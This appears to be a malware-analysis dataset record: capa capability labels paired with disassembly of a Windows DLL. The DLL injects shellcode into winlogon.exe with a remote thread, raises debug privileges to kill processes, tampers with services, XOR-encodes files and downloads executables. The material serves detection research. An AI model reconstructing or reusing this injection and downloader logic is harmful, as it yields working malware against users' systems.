joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005910
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.100057a0
mov eax, dword [esp + 0x108]
push eax
call fcn.1000a930
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x10005950
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x10]
push ebp
push str.advapi32.dll
rep stosd dword es:[edi], eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
mov esi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push esi
call ebx
mov edi, eax
pop ebp
test edi, edi
jne 0x10005a71
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
lea eax, [esp + 0x14]
push 0xf4
push eax
push edi
push esi
call fcn.10005750
add esp, 0x14
test eax, eax
jne 0x10005a97
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x10005aba
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x10005860
push ebx
push esi
call fcn.10005750
add esp, 0x14
test eax, eax
jne 0x10005ae0
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
pop edi
pop esi
setne al
pop ebx
add esp, 0xf8
ret
Function at 0x10005f50
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x30c
lea eax, [esp]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
push edi
push 0x104
mov edi, ecx
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x10]
push 0x10017474
push ecx
call esi
lea edx, [esp + 0x10]
push str.stem32_
push edx
call esi
lea ebx, [edi + 0x10]
lea eax, [esp + 0x10]
push ebx
push eax
call esi
lea ecx, [esp + 0x10]
push str..exe
push ecx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x118]
push str._d.bak
push edx
call dword [0x10018cc0]
add esp, 0xc
lea eax, [esp + 0x114]
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [esp + 0x118]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [esp + 0x218]
push 0x104
push eax
call ebp
lea ecx, [esp + 0x218]
push str.System32delphi.dat
push ecx
call esi
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [edi + 0x9e54]
push ebx
cmp eax, 0x120
je 0x1000602e
push str.winlogon.exe
call fcn.10005910
add esp, 8
jmp 0x10006036
call fcn.10004850
add esp, 4
add edi, 0x110
push edi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30c
ret

Function at 0x100061a0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x100191f8]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100061ed
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10006220
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x10006214
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x100065f0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
push esi
push edi
push 0x104
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push 0x100174ac
push esi
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100174a8
push esi
call edi
push str.rsky
push esi
call edi
push 0x100190e4
push esi
call edi
lea ecx, [esp + 0x1c]
mov edi, 0x10013284
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10006700
mov dword [esp + 0xc], eax
lea edx, [esp + 0x10]
neg eax
sbb eax, eax
push esi
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x100191fc], eax
jne 0x1000669f
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x100066bf
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x100191f8], eax
mov dword [esp + 8], edi
test eax, eax
mov eax, dword [esp + 0xc]
jne 0x100066db
test eax, eax
je 0x100066d3
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100066ef
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10006a40
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x10]
push str.System32delphi.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10006ae2
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10006acd
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10006abf
push edi
push esi
mov ecx, ebp
call fcn.100069e0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x100074e0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100125ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10006b00
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x100132c4
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [0x10018d20]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x100075a7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x100132bc
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10007603
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10008120
jmp 0x10007605
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10007c60
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000a8b0
push ebx
push 0
push 0
push esi
push 0x10007cd0
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000a8b0
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x100084f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
push str.InterlockedExchange
mov esi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [esp + 0x38]
xor edi, edi
cmp ebp, edi
mov dword [esp + 0x14], eax
je 0x100086be
cmp dword [esi + 0x1c], edi
je 0x100086be
mov ecx, esi
call fcn.10008b10
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10008920
lea eax, [esp + 0x18]
push eax
call dword [0x10018cc8]
lea ecx, [esp + 0x18]
push 8
push ecx
mov ecx, esi
call fcn.10008920
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0x14
push edx
call dword [0x10018ccc]
test eax, eax
je 0x100085a3
cmp dword [esp + 0x24], 1
jne 0x100085a3
mov ecx, dword [esp + 0x28]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x10008590
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10008583
push ecx
call dword [0x10018d1c]
cmp edi, 0x10
jne 0x1000859f
or edi, 0xffffffff
mov eax, edi
jmp 0x100085a6
or eax, 0xffffffff
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, esi
call fcn.10008920
cmp byte [ebx], 2
jne 0x1000860e
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.10008b50
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.10008bb0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
mov ecx, dword [esp + 0x1c]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x10019208]
cmp ecx, eax
mov edi, edx
je 0x1000863b
push edi
mov ecx, esi
call fcn.100086d0
test al, al
je 0x1000863b
add edi, 0x13
jmp 0x1000863e
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000865c
push edi
mov ecx, esi
call fcn.100086d0
test al, al
je 0x10008652
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x10008643
mov eax, dword [esp + 0x1c]
mov ecx, 0x13
mov dword [0x10019208], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x100086a9
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x10008698
call ebx
push eax
push edi
call dword [esp + 0x1c]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
Function at 0x10008ee0
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x100126b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x100132cc
push str.TerminateProcess
push str.kernel32.dll
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, eax
mov eax, dword [esi + 0x28]
push 0
push eax
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10008f6b
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10008f75
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10008f7f
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10008f89
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.10006b50
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x100092b0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.10009150
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000931f
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x21
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x15
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x100092d2
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x10009690
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x100098d0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x43c
push ebx
push ebp
push esi
lea eax, [esp + 0xd0]
push edi
push eax
mov byte [esp + 0xd4], 0x66
mov byte [esp + 0x1b2], 0
mov dword [esp + 0xd8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [esp + 0x450]
lea ecx, [esp + 0x24c]
push pe_nt_image_headers32
push ecx
push ebx
call fcn.10009800
mov ebp, dword [esp + 0x460]
xor edx, edx
mov dword [esp + 0x24], edx
add esp, 0xc
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x20], 0x10
call dword [0x10018d94]
mov eax, dword [esp + 0x1c]
mov ecx, 0xc
lea esi, [esp + 0x24c]
lea edi, [esp + 0x17c]
mov dword [esp + 0x178], eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.10009630
mov dword [esp + 0x170], eax
call fcn.10009690
mov dword [esp + 0x174], eax
call fcn.100096b0
mov ecx, dword [esp + 0x458]
push 0x104
mov byte [esp + 0x1b2], al
mov dword [esp + 0x1b4], ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push 0x100176c8
push esi
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100176c4
push esi
call edi
push 0x100176c0
push esi
call edi
push 0x100176bc
push esi
call edi
push 0x10017228
push esi
call edi
push 0x100190e4
push esi
call edi
push str.V1.3
lea edx, [esp + 0xa0]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0xc
lea esi, [esp + 0xa8]
lea edi, [esp + 0x1f2]
push pe_nt_image_headers32
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [esp + 0x35c]
push eax
push ebx
call fcn.100096f0
mov ecx, 0xc
lea esi, [esp + 0x364]
lea edi, [esp + 0x230]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x10
lea edi, [esp + 0x40]
rep stosd dword es:[edi], eax
add esp, 0x18
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
fild dword [esp + 0x30]
fmul qword [0x100132d8]
call sub.MSVCRT.dll__ftol
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x10013228]
call sub.MSVCRT.dll__ftol
mov edx, 1
sub edx, eax
lea eax, [esp + 0x68]
push edx
push str._ldmb
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0xc
lea esi, [esp + 0x74]
lea edi, [esp + 0x1c0]
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xd0]
push 0x17c
push ecx
mov ecx, ebp
movsw word es:[edi], word [esi]
call fcn.10001e10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x43c
ret
Function at 0x1000a360
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, ecx
push str.TerminateProcess
push str.kernel32.dll
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push str.SeDebugPrivilege
mov ebx, eax
call fcn.1000a650
mov ebp, dword [esp + 0x24]
add esp, 8
xor esi, esi
test ebp, ebp
jbe 0x1000a3cb
mov eax, dword [esp + 0x18]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000a39d
mov edi, dword [esp + 0x10]
push 0
push str.SeDebugPrivilege
call fcn.1000a650
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000a1c0
mov ecx, edi
call fcn.1000a1f0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x1000a8b0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a830
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a930
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a99f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000a97d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a99f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000a975
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a988
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x1000ab90
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000abda
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000abda
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000abf7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000abf7
call fcn.1000aa10
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000a9b0
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000adf0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [0x10018d8c]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000ae33
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [0x10018d84]
mov ebx, eax
cmp ebx, ebp
jne 0x1000ae5d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000aeef
mov ebp, dword [0x10018d80]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x1000aeb1
cmp word [esp + 0x24], 0x5a4d
jne 0x1000aed8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000aee0
jmp 0x1000ae85
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [0x10018d88]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret